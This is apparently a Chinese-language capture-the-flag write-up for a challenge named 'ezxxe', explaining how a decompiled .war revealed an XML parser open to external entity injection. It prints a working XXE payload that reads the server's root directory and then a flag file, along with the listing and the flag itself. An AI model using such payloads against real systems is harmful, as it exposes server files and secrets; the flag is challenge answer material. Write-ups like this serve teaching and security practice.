ezxxe

打开这个网站后，发现这个网站没有前端，但是题目提供了一个源代码，格式位.war，使用jar反编译工具jd-gui就可以将war进行反编译。 解包后发现这是一个xml注入的问题，服务器会对POST的xml文件进行解析，将解析的内容存入map并返回。可以使用xml注入漏洞获取flag。由于网页没有前端，所以我们可以使用POST工具进行提交。为了方便，我使用GetMan进行提交。 我们发送如下xml：

```
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///" >]>
<b>
<a>&xxe;</a>
</b>
```

其中，xxe为使用file协议解析的实体，内容是根目录下的文件列表。发送到指定的网站:
http://111.186.57.85:10020/parse ，于是就可以得到根目录下的内容了。

```
{a=.dockerenv
bin
boot
dev
etc
flag
home
jdk
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
tomcat
usr
var
}
```

我们发现有一个名为 flag 的目录很可疑，再次发送请求，把前面的地址改为： file:///flag ，于是就可以得到一个文件名。再次POST，把地址改成该文件的地址，就可以得到返回的flag。

```
0ops{0813bca99cf1210e176b125e5f1d3f1b}
```